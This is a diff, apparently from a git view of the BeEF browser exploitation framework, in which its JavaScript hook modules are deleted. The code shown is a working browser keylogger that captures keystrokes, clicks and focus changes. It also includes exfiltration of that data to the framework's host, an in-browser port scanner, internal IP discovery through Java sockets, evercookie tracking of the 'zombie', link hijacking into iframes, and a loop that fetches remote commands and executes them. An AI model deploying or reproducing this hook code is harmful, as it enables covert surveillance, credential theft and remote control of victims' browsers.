_link.innerHTML = u;
|
||||
// not sure why, but the next two appendChilds always have to happen vs just once
|
||||
document.body.appendChild(style);
|
||||
document.body.appendChild(_link);
|
||||
|
||||
/* add the link to the DOM and save the visible computed color */
|
||||
var color;
|
||||
if (document.defaultView)
|
||||
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
|
||||
else
|
||||
color = _link.currentStyle['color'];
|
||||
|
||||
return color;
|
||||
}
|
||||
|
||||
this._testURL = function(url, no_color)
|
||||
{
|
||||
var color = this._getRGB(url);
|
||||
|
||||
/* check to see if the link has been visited if the computed color is red */
|
||||
if (color == "rgb(255, 0, 0)" || color == "#ff0000")
|
||||
return 1;
|
||||
|
||||
/* if our style trick didn't work, just compare default style colors */
|
||||
else if (no_color && color != no_color)
|
||||
return 1;
|
||||
|
||||
/* not found */
|
||||
return 0;
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
return _class;
|
||||
})();
|
||||
|
||||
|
||||
/*
|
||||
* Again, ugly workaround....same problem as flash.
|
||||
*/
|
||||
var _global_isolated;
|
||||
function onSilverlightLoad(sender, args) {
|
||||
var control = sender.getHost();
|
||||
_global_isolated = control.Content.App.getIsolatedStorage();
|
||||
}
|
||||
/*
|
||||
function onSilverlightError(sender, args) {
|
||||
_global_isolated = "";
|
||||
|
||||
}*/
|
||||
function onSilverlightError(sender, args) {
|
||||
_global_isolated = "";
|
||||
}
|
||||
16
modules/beefjs/lib/jquery-1.5.min.js
vendored
16
modules/beefjs/lib/jquery-1.5.min.js
vendored
File diff suppressed because one or more lines are too long
@@ -1,170 +0,0 @@
|
||||
/*!
|
||||
* @literal object: beef.logger
|
||||
*
|
||||
* Provides logging capabilities.
|
||||
*/
|
||||
beef.logger = {
|
||||
|
||||
running: false,
|
||||
/**
|
||||
* Holds events created by user, to be sent back to BeEF
|
||||
*/
|
||||
events: [],
|
||||
/**
|
||||
* Holds current stream of key presses
|
||||
*/
|
||||
stream: [],
|
||||
/**
|
||||
* Contains current target of key presses
|
||||
*/
|
||||
target: null,
|
||||
/**
|
||||
* Holds the time the logger was started
|
||||
*/
|
||||
time: null,
|
||||
|
||||
/**
|
||||
* Starts the logger
|
||||
*/
|
||||
start: function() {
|
||||
this.running = true;
|
||||
var d = new Date();
|
||||
this.time = d.getTime();
|
||||
$j(document).keypress(
|
||||
function(e) { beef.logger.keypress(e); }
|
||||
).click(
|
||||
function(e) { beef.logger.click(e); }
|
||||
);
|
||||
$j(window).focus(
|
||||
function(e) { beef.logger.win_focus(e); }
|
||||
).blur(
|
||||
function(e) { beef.logger.win_blur(e); }
|
||||
);
|
||||
/*$j('form').submit(
|
||||
function(e) { beef.logger.submit(e); }
|
||||
);*/
|
||||
},
|
||||
|
||||
/**
|
||||
* Stops the logger
|
||||
*/
|
||||
stop: function() {
|
||||
this.running = false;
|
||||
clearInterval(this.timer);
|
||||
$j(document).keypress(null);
|
||||
},
|
||||
|
||||
/**
|
||||
* Click function fires when the user clicks the mouse.
|
||||
*/
|
||||
click: function(e) {
|
||||
this.events.push({'data':'User clicked: X: '+e.pageX+' Y: '+e.pageY+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target)});
|
||||
},
|
||||
|
||||
/**
|
||||
* Fires when the window element has regained focus
|
||||
*/
|
||||
win_focus: function(e) {
|
||||
this.events.push({'data':'Browser has regained focus. @ '+beef.logger.get_timestamp()+'s'});
|
||||
},
|
||||
|
||||
/**
|
||||
* Fires when the window element has lost focus
|
||||
*/
|
||||
win_blur: function(e) {
|
||||
this.events.push({'data':'Browser has lost focus. @ '+beef.logger.get_timestamp()+'s'});
|
||||
},
|
||||
|
||||
/**
|
||||
* Keypress function fires everytime a key is pressed.
|
||||
* @param {Object} e: event object
|
||||
*/
|
||||
keypress: function(e) {
|
||||
if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
|
||||
{
|
||||
beef.logger.push_stream();
|
||||
this.target = e.target;
|
||||
}
|
||||
this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
|
||||
},
|
||||
|
||||
/**
|
||||
* Is called whenever a form is submitted
|
||||
*/
|
||||
submit: function(e) {
|
||||
this.events.push({'data':'Form submission: Action: '+$j(e.target).attr('action')+' Method: '+$j(e.target).attr('method')+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target)});
|
||||
},
|
||||
|
||||
/**
|
||||
* Pushes the current stream to the events queue
|
||||
*/
|
||||
push_stream: function() {
|
||||
if (this.stream.length > 0)
|
||||
{
|
||||
this.events.push({'data':beef.logger.parse_stream()});
|
||||
this.stream = [];
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Translate DOM Object to a readable string
|
||||
*/
|
||||
get_dom_identifier: function(target) {
|
||||
target = (target == null) ? this.target : target;
|
||||
var id = '';
|
||||
if (target)
|
||||
{
|
||||
id = target.tagName.toLowerCase();
|
||||
id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
|
||||
id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
|
||||
}
|
||||
return id;
|
||||
},
|
||||
|
||||
/**
|
||||
* Formats the timestamp
|
||||
* @return {String} timestamp string
|
||||
*/
|
||||
get_timestamp: function() {
|
||||
var d = new Date();
|
||||
return ((d.getTime() - this.time) / 1000).toFixed(3);
|
||||
},
|
||||
|
||||
/**
|
||||
* Parses stream array and creates history string
|
||||
*/
|
||||
parse_stream: function() {
|
||||
var s = '';
|
||||
for (var i in this.stream)
|
||||
{
|
||||
//s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : '';
|
||||
//s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : '';
|
||||
//s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : '';
|
||||
s += String.fromCharCode(this.stream[i]['char']);
|
||||
}
|
||||
return 'User Typed: \"'+s+'\" @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier();
|
||||
},
|
||||
|
||||
/**
|
||||
* Queue results to be sent back to framework
|
||||
*/
|
||||
queue: function() {
|
||||
beef.logger.push_stream();
|
||||
if (this.events.length > 0)
|
||||
{
|
||||
var result = '';
|
||||
var j = 0;
|
||||
for (var i = this.events.length - 1; i >= 0; i--)
|
||||
{
|
||||
result += (i != this.events.length - 1) ? '&' : '';
|
||||
result += 'stream'+j+'='+this.events[i]['data'];
|
||||
j++;
|
||||
}
|
||||
beef.net.queue('/event', 0, result);
|
||||
this.events = [];
|
||||
}
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.logger');
|
||||
@@ -1,215 +0,0 @@
|
||||
/*!
|
||||
* @literal object: beef.net
|
||||
*
|
||||
* Provides basic networking functions.
|
||||
*/
|
||||
beef.net = {
|
||||
|
||||
host: "<%= @beef_host %>",
|
||||
port: "<%= @beef_port %>",
|
||||
hook: "<%= @beef_hook %>",
|
||||
handler: '/dh',
|
||||
chop: 2000,
|
||||
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count: 0,
|
||||
cmd_queue: [],
|
||||
|
||||
//Command object
|
||||
command: function() {
|
||||
this.cid = null;
|
||||
this.results = null;
|
||||
this.handler = null;
|
||||
this.callback = null;
|
||||
this.results = null;
|
||||
},
|
||||
|
||||
//Packet object
|
||||
packet: function() {
|
||||
this.id = null;
|
||||
this.data = null;
|
||||
},
|
||||
|
||||
//Stream object
|
||||
stream: function() {
|
||||
this.id = null;
|
||||
this.packets = [];
|
||||
this.pc = 0;
|
||||
this.get_base_url_length = function() {
|
||||
return (this.url+this.handler+'?'+'bh='+beef.session.get_hook_session_id()).length;
|
||||
},
|
||||
this.get_packet_data = function() {
|
||||
var p = this.packets.shift();
|
||||
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
|
||||
};
|
||||
},
|
||||
|
||||
/**
|
||||
* Response Object - returned from beef.net.request with result of request
|
||||
*/
|
||||
response: function() {
|
||||
this.status_code = null; // 500, 404, 200, 302
|
||||
this.response_body = null; // "<html>…." if not a cross domain request
|
||||
this.port_status = null; // tcp port is open, closed or not http
|
||||
this.was_cross_domain = null; // true or false
|
||||
this.was_timedout = null; // the user specified timeout was reached
|
||||
this.duration = null; // how long it took for the request to complete
|
||||
},
|
||||
|
||||
//Queues the command, to be sent back to the framework on the next refresh
|
||||
queue: function(handler, cid, results, callback) {
|
||||
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function'))
|
||||
{
|
||||
var s = new beef.net.command();
|
||||
s.cid = cid;
|
||||
s.results = beef.net.clean(results);
|
||||
s.callback = callback;
|
||||
s.handler = handler;
|
||||
this.cmd_queue.push(s);
|
||||
}
|
||||
},
|
||||
|
||||
//Queues the current command and flushes the queue straight away
|
||||
send: function(handler, cid, results, callback) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
},
|
||||
|
||||
//Flush all currently queued commands to the framework
|
||||
flush: function() {
|
||||
if (this.cmd_queue.length > 0)
|
||||
{
|
||||
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
|
||||
this.cmd_queue.length = 0;
|
||||
this.sid_count++;
|
||||
var stream = new this.stream();
|
||||
stream.id = this.sid_count;
|
||||
var pad = stream.get_base_url_length() + this.pad;
|
||||
//cant continue if chop amount is too low
|
||||
if ((this.chop - pad) > 0)
|
||||
{
|
||||
var data = this.chunk(data, (this.chop - pad));
|
||||
for (var i = 1; i <= data.length; i++)
|
||||
{
|
||||
var packet = new this.packet();
|
||||
packet.id = i;
|
||||
packet.data = data[(i-1)];
|
||||
stream.packets.push(packet);
|
||||
}
|
||||
stream.pc = stream.packets.length;
|
||||
this.push(stream);
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
//Split string into chunk lengths determined by amount
|
||||
chunk: function(str, amount) {
|
||||
if (typeof amount == 'undefined') n=2;
|
||||
return str.match(RegExp('.{1,'+amount+'}','g'));
|
||||
},
|
||||
|
||||
//Push packets to framework
|
||||
push: function(stream) {
|
||||
//need to implement wait feature here eventually
|
||||
for (var i = 0; i < stream.pc; i++)
|
||||
{
|
||||
this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
*Performs http requests
|
||||
* @param: {String} scheme: HTTP or HTTPS
|
||||
* @param: {String} method: GET or POST
|
||||
* @param: {String} domain: bindshell.net, 192.168.3.4, etc
|
||||
* @param: {Int} port: 80, 5900, etc
|
||||
* @param: {String} path: /path/to/resource
|
||||
* @param: {String} anchor: this is the value that comes after the # in the URL
|
||||
* @param: {String} data: This will be used as the query string for a GET or post data for a POST
|
||||
* @param: {Int} timeout: timeout the request after N seconds
|
||||
* @param: {String} dataType: specify the data return type expected (ie text/html/script)
|
||||
* @param: {Funtion} callback: call the callback function at the completion of the method
|
||||
*
|
||||
* @return: {Object} response: this object contains the response details
|
||||
*/
|
||||
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
//check if same domain or cross domain
|
||||
cross_domain = (document.domain == domain) ? false : true;
|
||||
|
||||
//build the url
|
||||
var url = scheme+"://"+domain;
|
||||
url = (port != null) ? url+":"+port : url;
|
||||
url = (path != null) ? url+path : url;
|
||||
url = (anchor != null) ? url+"#"+anchor : url;
|
||||
|
||||
//define response object
|
||||
var response = new this.response;
|
||||
response.was_cross_domain = cross_domain;
|
||||
|
||||
var start_time = new Date().getTime();
|
||||
//build and execute request
|
||||
$j.ajax({type: method,
|
||||
dataType: dataType,
|
||||
url: url,
|
||||
data: data,
|
||||
timeout: (timeout * 1000),
|
||||
//function on success
|
||||
success: function(data, textStatus, jqXHR){
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = textStatus;
|
||||
response.response_body = data;
|
||||
response.port_status = "open";
|
||||
response.was_timedout = false;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
//function on failure
|
||||
error: function(jqXHR, textStatus, errorThrown){
|
||||
var end_time = new Date().getTime();
|
||||
if (textStatus == "timeout"){
|
||||
response.was_timedout = true;
|
||||
};
|
||||
response.status_code = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
//function on completion
|
||||
complete: function(transport) {
|
||||
response.status_code = transport.status;
|
||||
}
|
||||
}).done(function() { if (callback != null) { callback(response); } });
|
||||
return response;
|
||||
},
|
||||
|
||||
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
|
||||
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
|
||||
clean: function(r) {
|
||||
if (this.array_has_string_key(r)) {
|
||||
var obj = {};
|
||||
for (var key in r)
|
||||
obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
|
||||
return obj;
|
||||
}
|
||||
return r;
|
||||
},
|
||||
|
||||
//Detects if an array has a string key
|
||||
array_has_string_key: function(arr) {
|
||||
if ($j.isArray(arr))
|
||||
{
|
||||
try {
|
||||
for (var key in arr)
|
||||
if (isNaN(parseInt(key))) return true;
|
||||
} catch (e) { }
|
||||
}
|
||||
return false;
|
||||
},
|
||||
|
||||
//Sends back browser details to framework
|
||||
browser_details: function() {
|
||||
var details = beef.browser.getDetails();
|
||||
details['HookSessionID'] = beef.session.get_hook_session_id();
|
||||
this.send('/init', 0, details);
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
|
||||
beef.regCmp('beef.net');
|
||||
@@ -1,67 +0,0 @@
|
||||
/*!
|
||||
* @literal object: beef.net.local
|
||||
*
|
||||
* Provides networking functions for the local/internal network of the zombie.
|
||||
*/
|
||||
beef.net.local = {
|
||||
|
||||
sock: false,
|
||||
|
||||
/**
|
||||
* Initializes the java socket. We have to use this method because
|
||||
* some browsers do not have java installed or it is not accessible.
|
||||
* in which case creating a socket directly generates an error. So this code
|
||||
* is invalid:
|
||||
* sock: new java.net.Socket();
|
||||
*/
|
||||
initializeSocket: function() {
|
||||
if(! beef.browser.hasJava()) return -1;
|
||||
|
||||
try {
|
||||
this.sock = new java.net.Socket();
|
||||
} catch(e) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 1;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the internal IP address of the zombie.
|
||||
* @return: {String} the internal ip of the zombie.
|
||||
* @error: return -1 if the internal ip cannot be retrieved.
|
||||
*/
|
||||
getLocalAddress: function() {
|
||||
if(! beef.browser.hasJava()) return false;
|
||||
|
||||
this.initializeSocket();
|
||||
|
||||
try {
|
||||
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
|
||||
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
|
||||
|
||||
return this.sock.getLocalAddress().getHostAddress();
|
||||
} catch(e) { return false; }
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the internal hostname of the zombie.
|
||||
* @return: {String} the internal hostname of the zombie.
|
||||
* @error: return -1 if the hostname cannot be retrieved.
|
||||
*/
|
||||
getLocalHostname: function() {
|
||||
if(! beef.browser.hasJava()) return false;
|
||||
|
||||
this.initializeSocket();
|
||||
|
||||
try {
|
||||
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
|
||||
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
|
||||
|
||||
return this.sock.getLocalAddress().getHostName();
|
||||
} catch(e) { return false; }
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.local');
|
||||
@@ -1,48 +0,0 @@
|
||||
/*!
|
||||
* @literal object: beef.net.portscanner
|
||||
*
|
||||
* Provides port scanning functions for the zombie. A mod of pdp's scanner
|
||||
*
|
||||
* Version: '0.1',
|
||||
* author: 'Petko Petkov',
|
||||
* homepage: 'http://www.gnucitizen.org'
|
||||
*/
|
||||
|
||||
beef.net.portscanner = {
|
||||
|
||||
scanPort: function(callback, target, port, timeout)
|
||||
{
|
||||
var timeout = (timeout == null)?100:timeout;
|
||||
var img = new Image();
|
||||
|
||||
img.onerror = function () {
|
||||
if (!img) return;
|
||||
img = undefined;
|
||||
callback(target, port, 'open');
|
||||
};
|
||||
|
||||
img.onload = img.onerror;
|
||||
|
||||
img.src = 'http://' + target + ':' + port;
|
||||
|
||||
setTimeout(function () {
|
||||
if (!img) return;
|
||||
img = undefined;
|
||||
callback(target, port, 'closed');
|
||||
}, timeout);
|
||||
|
||||
},
|
||||
|
||||
scanTarget: function(callback, target, ports_str, timeout)
|
||||
{
|
||||
var ports = ports_str.split(",");
|
||||
|
||||
for (index = 0; index < ports.length; index++) {
|
||||
this.scanPort(callback, target, ports[index], timeout);
|
||||
};
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.portscanner');
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
/*!
|
||||
* @literal object: beef.net.requester
|
||||
*
|
||||
* request object structure:
|
||||
* + method: {String} HTTP method to use (GET or POST).
|
||||
* + host: {String} hostname
|
||||
* + query_string: {String} The query string is a part of the URL which is passed to the program.
|
||||
* + uri: {String} The URI syntax consists of a URI scheme name.
|
||||
* + headers: {Array} contain the operating parameters of the HTTP request.
|
||||
*/
|
||||
beef.net.requester = {
|
||||
|
||||
handler: "requester",
|
||||
|
||||
send: function(requests_array) {
|
||||
for(i in requests_array) {
|
||||
request = requests_array[i];
|
||||
beef.net.request('http', request.method, request.host, request.port, request.uri, null, null, 10, 'HTML', function(res) { beef.net.send('/requester', request.id, res.response_body); });
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.requester');
|
||||
@@ -1,116 +0,0 @@
|
||||
beef.os = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
|
||||
isWin311: function() {
|
||||
return (this.ua.indexOf("Win16") != -1) ? true : false;
|
||||
},
|
||||
|
||||
isWinNT4: function() {
|
||||
return (this.ua.match('(Windows NT 4.0)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin95: function() {
|
||||
return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin98: function() {
|
||||
return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinME: function() {
|
||||
return (this.ua.indexOf('Windows ME') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isWin2000: function() {
|
||||
return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinXP: function() {
|
||||
return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinServer2003: function() {
|
||||
return (this.ua.match('(Windows NT 5.2)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinVista: function() {
|
||||
return (this.ua.match('(Windows NT 6.0)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin7: function() {
|
||||
return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
|
||||
},
|
||||
|
||||
isOpenBSD: function() {
|
||||
return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isSunOS: function() {
|
||||
return (this.ua.indexOf('SunOS') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isLinux: function() {
|
||||
return (this.ua.match('(Linux)|(X11)')) ? true : false;
|
||||
},
|
||||
|
||||
isMacintosh: function() {
|
||||
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
|
||||
},
|
||||
|
||||
isIphone: function() {
|
||||
return (this.ua.indexOf('iPhone') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isIpad: function() {
|
||||
return (this.ua.indexOf('iPad') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isQNX: function() {
|
||||
return (this.ua.indexOf('QNX')) ? true : false;
|
||||
},
|
||||
|
||||
isBeOS: function() {
|
||||
return (this.ua.indexOf('BeOS')) ? true : false;
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
//windows
|
||||
if(this.isWin311()) return 'Windows 3.11';
|
||||
if(this.isWinNT4()) return 'Windows NT 4';
|
||||
if(this.isWin95()) return 'Windows 95';
|
||||
if(this.isWin95()) return 'Windows 98';
|
||||
if(this.isWin98()) return 'Windows 98';
|
||||
if(this.isWinME()) return 'Windows Millenium';
|
||||
if(this.isWin2000()) return 'Windows 2000';
|
||||
if(this.isWinXP()) return 'Windows XP';
|
||||
if(this.isWinServer2003()) return 'Windows Server 2003';
|
||||
if(this.isWinVista()) return 'Windows Vista';
|
||||
if(this.isWin7()) return 'Windows 7';
|
||||
|
||||
//linux
|
||||
if(this.isLinux()) return 'Linux';
|
||||
if(this.isSunOS()) return 'Sun OS';
|
||||
|
||||
//iPhone
|
||||
if (this.isIphone()) return 'iPhone';
|
||||
//iPad
|
||||
if (this.isIpad()) return 'iPad';
|
||||
|
||||
//macintosh
|
||||
if(this.isMacintosh()) {
|
||||
if((typeof navigator.oscpu != 'undefined') && (navigator.oscpu.indexOf('Mac OS')!=-1))
|
||||
return navigator.oscpu;
|
||||
|
||||
return 'Macintosh';
|
||||
}
|
||||
|
||||
//others
|
||||
if(this.isQNX()) return 'QNX';
|
||||
if(this.isBeOS()) return 'BeOS';
|
||||
|
||||
return 'unknown';
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.os');
|
||||
@@ -1,85 +0,0 @@
|
||||
/*!
|
||||
* @literal object: beef.session
|
||||
*
|
||||
* Provides basic session functions.
|
||||
*/
|
||||
beef.session = {
|
||||
|
||||
hook_session_id_length: 80,
|
||||
hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
|
||||
ec: new evercookie(),
|
||||
|
||||
/**
|
||||
* Gets a string which will be used to identify the hooked browser session
|
||||
*
|
||||
* @example: var hook_session_id = beef.session.get_hook_session_id();
|
||||
*/
|
||||
get_hook_session_id: function() {
|
||||
// check if the browser is already known to the framework
|
||||
var id = this.ec.evercookie_cookie("BEEFHOOK");
|
||||
if (typeof id == 'undefined') {
|
||||
var id = this.ec.evercookie_userdata("BEEFHOOK");
|
||||
}
|
||||
if (typeof id == 'undefined') {
|
||||
var id = this.ec.evercookie_window("BEEFHOOK");
|
||||
}
|
||||
|
||||
// if the browser is not known create a hook session id and set it
|
||||
if (typeof id == 'undefined') {
|
||||
id = this.gen_hook_session_id();
|
||||
this.set_hook_session_id(id);
|
||||
}
|
||||
|
||||
// return the hooked browser session identifier
|
||||
return id;
|
||||
},
|
||||
|
||||
/**
|
||||
* Sets a string which will be used to identify the hooked browser session
|
||||
*
|
||||
* @example: beef.session.set_hook_session_id('RANDOMSTRING');
|
||||
*/
|
||||
set_hook_session_id: function(id) {
|
||||
// persist the hook session id
|
||||
this.ec.evercookie_cookie("BEEFHOOK", id);
|
||||
this.ec.evercookie_userdata("BEEFHOOK", id);
|
||||
this.ec.evercookie_window("BEEFHOOK", id);
|
||||
},
|
||||
|
||||
/**
|
||||
* Generates a random string using the chars in hook_session_id_chars.
|
||||
*
|
||||
* @example: beef.session.gen_hook_session_id();
|
||||
*/
|
||||
gen_hook_session_id: function() {
|
||||
// init the return value
|
||||
var hook_session_id = "";
|
||||
|
||||
// construct the random string
|
||||
for(var i=0; i<this.hook_session_id_length; i++) {
|
||||
var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
|
||||
hook_session_id += this.hook_session_id_chars.charAt(rand_num);
|
||||
}
|
||||
|
||||
return hook_session_id;
|
||||
},
|
||||
|
||||
/**
|
||||
* Overrides each link, and creates an iframe (loading the href) instead of following the link
|
||||
*/
|
||||
persistant: function() {
|
||||
$j('a').click(function(e) {
|
||||
if ($j(this).attr('href') != '')
|
||||
{
|
||||
e.preventDefault();
|
||||
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
|
||||
$j(document).attr('title', $j(this).html());
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.session');
|
||||
@@ -1,80 +0,0 @@
|
||||
/*!
|
||||
* @Literal object: beef.updater
|
||||
*
|
||||
* Object in charge of getting new commands from the BeEF framework and execute them.
|
||||
*/
|
||||
beef.updater = {
|
||||
|
||||
// Low timeouts combined with the way the framework sends commamd modules result
|
||||
// in instructions being sent repeatedly or complex code.
|
||||
// If you suffer from ADHD, you can decrease this setting.
|
||||
timeout: 10000,
|
||||
|
||||
// A lock.
|
||||
lock: false,
|
||||
|
||||
// An object containing all values to be registered and sent by the updater.
|
||||
objects: new Object(),
|
||||
|
||||
/*
|
||||
* Registers an object to always send when requesting new commands to the framework.
|
||||
* @param: {String} the name of the object.
|
||||
* @param: {String} the value of that object.
|
||||
*
|
||||
* @example: beef.updater.regObject('java_enabled', 'true');
|
||||
*/
|
||||
regObject: function(key, value) {
|
||||
this.objects[key] = escape(value);
|
||||
},
|
||||
|
||||
// Checks for new commands from the framework and runs them.
|
||||
check: function() {
|
||||
if(this.lock == false) {
|
||||
if (beef.logger.running) {
|
||||
beef.logger.queue();
|
||||
}
|
||||
beef.net.flush();
|
||||
if(beef.commands.length > 0) {
|
||||
this.execute_commands();
|
||||
} else {
|
||||
this.get_commands();
|
||||
}
|
||||
}
|
||||
setTimeout("beef.updater.check();", beef.updater.timeout);
|
||||
},
|
||||
|
||||
// Gets new commands from the framework.
|
||||
get_commands: function(http_response) {
|
||||
try {
|
||||
this.lock = true;
|
||||
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 10, 'script', function(response) {
|
||||
if (response.body != null && response.body.length > 0)
|
||||
beef.updater.execute_commands();
|
||||
});
|
||||
} catch(e) {
|
||||
this.lock = false;
|
||||
return;
|
||||
}
|
||||
this.lock = false;
|
||||
},
|
||||
|
||||
// Executes the received commands if any.
|
||||
execute_commands: function() {
|
||||
if(beef.commands.length == 0) return;
|
||||
|
||||
this.lock = true;
|
||||
|
||||
while(beef.commands.length > 0) {
|
||||
command = beef.commands.pop();
|
||||
try {
|
||||
command();
|
||||
} catch(e) {
|
||||
console.error('execute_commands - command failed to execute: ' + e.message);
|
||||
}
|
||||
}
|
||||
|
||||
this.lock = false;
|
||||
}
|
||||
}
|
||||
|
||||
beef.regCmp('beef.updater');
|
||||
@@ -1,56 +0,0 @@
|
||||
beef.execute(function() {
|
||||
|
||||
function serialize(_obj)
|
||||
{
|
||||
// Let Gecko browsers do this the easy way
|
||||
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
|
||||
{
|
||||
return _obj.toSource();
|
||||
}
|
||||
|
||||
// Other browsers must do it the hard way
|
||||
switch (typeof _obj)
|
||||
{
|
||||
// numbers, booleans, and functions are trivial:
|
||||
// just return the object itself since its default .toString()
|
||||
// gives us exactly what we want
|
||||
case 'number':
|
||||
case 'boolean':
|
||||
case 'function':
|
||||
return _obj;
|
||||
break;
|
||||
|
||||
// for JSON format, strings need to be wrapped in quotes
|
||||
case 'string':
|
||||
return '\'' + _obj + '\'';
|
||||
break;
|
||||
|
||||
case 'object':
|
||||
var str;
|
||||
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
|
||||
{
|
||||
str = '[';
|
||||
var i, len = _obj.length;
|
||||
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
|
||||
str += serialize(_obj[i]) + ']';
|
||||
}
|
||||
else
|
||||
{
|
||||
str = '{';
|
||||
var key;
|
||||
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
|
||||
str = str.replace(/\,$/, '') + '}';
|
||||
}
|
||||
return str;
|
||||
break;
|
||||
|
||||
default:
|
||||
return 'UNKNOWN';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
var browser_type = serialize(beef.browser.type());
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'browser_type='+browser_type);
|
||||
});
|
||||
@@ -1,39 +0,0 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Detect_details < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Browser Type',
|
||||
'Description' => %Q{
|
||||
This module will retrieve the selected zombie browser details.'
|
||||
},
|
||||
'Category' => 'Browser',
|
||||
'Author' => ['wade','vo','passbe','saafan'],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_WORKING,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Browser type'] = @datastore['browser_type']
|
||||
|
||||
save content
|
||||
#update_zombie!
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,56 +0,0 @@
|
||||
beef.execute(function() {
|
||||
|
||||
function serialize(_obj)
|
||||
{
|
||||
// Let Gecko browsers do this the easy way
|
||||
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
|
||||
{
|
||||
return _obj.toSource();
|
||||
}
|
||||
|
||||
// Other browsers must do it the hard way
|
||||
switch (typeof _obj)
|
||||
{
|
||||
// numbers, booleans, and functions are trivial:
|
||||
// just return the object itself since its default .toString()
|
||||
// gives us exactly what we want
|
||||
case 'number':
|
||||
case 'boolean':
|
||||
case 'function':
|
||||
return _obj;
|
||||
break;
|
||||
|
||||
// for JSON format, strings need to be wrapped in quotes
|
||||
